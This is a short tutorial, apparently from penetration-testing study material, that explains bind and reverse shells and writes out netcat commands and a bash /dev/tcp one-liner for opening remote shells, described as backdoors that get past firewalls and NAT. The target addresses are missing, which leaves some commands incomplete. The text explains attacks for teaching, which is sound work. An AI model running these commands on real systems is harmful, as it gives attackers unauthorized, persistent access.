A shell is any program that can be used to execute a command. There are essentially two types of shells: bind and reverse.

A bind shell is established when the target system "binds" its shell to a local network port. For example, a Linux target might bind the Bash shell on port 12345. One of the most common tools used to create either type of shell is Netcat. So, on the target system, the Netcat command would be:

nc -lp 12345 -e /bin/sh

Note: Use -e cmd.exe for a Windows target.

On the attack machine, you'd use Netcat to connect to this session and obtain the shell:

nc 12345

You can now issue Bash commands to the target machine. This is useful in enabling persistence, as it can function as a backdoor into the target system. The problem with bind shells is that many firewalls will filter incoming traffic on ports that don't meet the pre-configured whitelist, so you may be unable to establish a connection. Likewise, if the target is behind Network Address Translation (NAT) and you're connecting from an external network, you may not be able to reach the target unless the NAT device is forwarding the specific bound port to the target machine.

A reverse shell is established when the target machine communicates with an attack machine that is listening on a specific port. First, you start the listener on the attack machine:

nc -lp 12345

Then, on the target machine, you'd start the connection:

nc 12345 –e /bin/sh

The attack machine's listener will accept the incoming connection and open a shell onto the target system. Reverse shells are typically more effective as backdoors because they bypass the aforementioned problems with bind shells. The attacker has more control over their own environment and is less likely to be obstructed by port filtering or NAT. In addition, you can create a reverse shell from the target system using a wide array of tools other than Netcat, including Bash, PowerShell, Python, Ruby, PHP, Perl, Telnet, and many more. For example, if the target system is a Linux machine without Netcat, use Bash to connect to a listener:

bash -i >& /dev/tcp/ 0>&1
Bind shell vs Reverse shell